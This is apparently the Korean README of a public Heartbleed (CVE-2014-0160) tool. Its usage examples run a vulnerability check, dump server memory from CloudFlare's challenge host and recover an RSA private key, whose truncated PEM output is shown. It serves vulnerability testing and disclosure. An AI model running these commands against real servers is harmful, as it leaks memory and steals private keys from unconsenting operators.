
OpenSSL Heartbleed (CVE-2014-0160) 취약점 스캐너, 데이터 마이너 및 RSA 키 복원 도구.
저자: Einar Otto Stangvik / @einaros / https://hacking.ventures
이미 비밀이 오래전에 드러났고, 다른 사람들도 자신의 도구를 공개하기 시작했으므로, 저도 제 도구를 공개합니다. 이 도구가 아직 서버를 패치하거나 업그레이드하지 않은 사람들에게 압박을 가하는 데 도움이 되길 바랍니다. 다른 사람들은 교육적 가치가 있다고 생각할 수도 있습니다.
다른 많은 Heartbleed PoC와 달리, 이 도구는 초기 ClientHello 패킷에서 가능한 모든 암호를 제공합니다. 서버가 선택한 암호는 덤프 세션의 모든 후속 ClientHello 패킷에 사용됩니다. 이를 통해 적절한 취약점 탐지가 보장되고, 암호가 발견된 후의 오버헤드가 줄어듭니다.
이 도구를 원하는 대로 사용하십시오. 하지만 모두에게 부탁합니다: 문제를 해결하고, 문제를 만들지 마십시오.
다음의 작업 및 발표에서 영감을 받았습니다:
여기서는 CloudFlare 챌린지의 RSA 소수 중 하나를 1분에 34번 복구하는 모습을 볼 수 있습니다. 즉, 1분에 34번 전체 개인 키를 얻는 것과 같습니다.

# 비침습적 모드를 사용한 취약점 테스트
# 이 명령은 N바이트를 요청하지만, 자체적으로 N-1바이트를 제공하여
# 서버가 취약한 경우 단 1바이트만 유출하도록 합니다. 이 경우 권장 N은 16360입니다.
# 그러면 단일 TLS 레코드가 생성됩니다:
# 3 + 2 + 1 + 2 + 16360 + 16 바이트 = 0xFFFF.
$ ./hb.py -u -n 16360 -p 443 www.example.int
www.example.int:443 is vulnerable
# CloudFlare의 이전 챌린지 서버에서 데이터 덤프
$ ./hb.py -p 443 www.cloudflarechallenge.com -n 0xF000 -l 100 -t 50 -d -o cloudflare-dump.bin
[2014/04/14 10:55:48] Incoming data rate: 85877 kbps
... 잠시 실행
# 덤프에서 소수 찾기
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin
Key size: 128
Data length: 173476834
cloudflare-dump.bin Offset 0xf155ec: p = 13827796798740740191625032142481917804987720337701...
# 소수 발견 시 키 추출
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin 0xf155ec
Prime should be at offset: f155ec
Key size: 128
Hexdump of surrounding data:
f151ec: D0 00 00 00 00 00 00 00 00 00 00 00 00 00 30 C0 ..............0.
f151fc: 3C 01 00 00 00 00 00 00 00 00 00 00 00 00 90 8B <...............
f1520c: D0 00 00 00 00 00 02 00 C3 A3 4D 08 48 47 00 00 ..........M.HG..
...
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAm0AWkVnDx5feOctdC97Ztgvtd25uKKmhjCHpLycmExe1RiRSl/hGIL7f8Fg/
qiUztVm5uXZJ1UG7dzz+9OtTNh+v27BtzPsU3yivHevwAB1mTMtP6bPuXBjzsxRcC9yVcBBWpKBM
...
저자는 이 패키지의 어떤 부분에 대해서도 어떠한 권리도 보유하지 않으며, 보유할 의사도 없습니다. 이 패키지는 공개된 아이디어를 기반으로 하며, 저자가 아는 한 계속해서 공개 상태로 유지됩니다.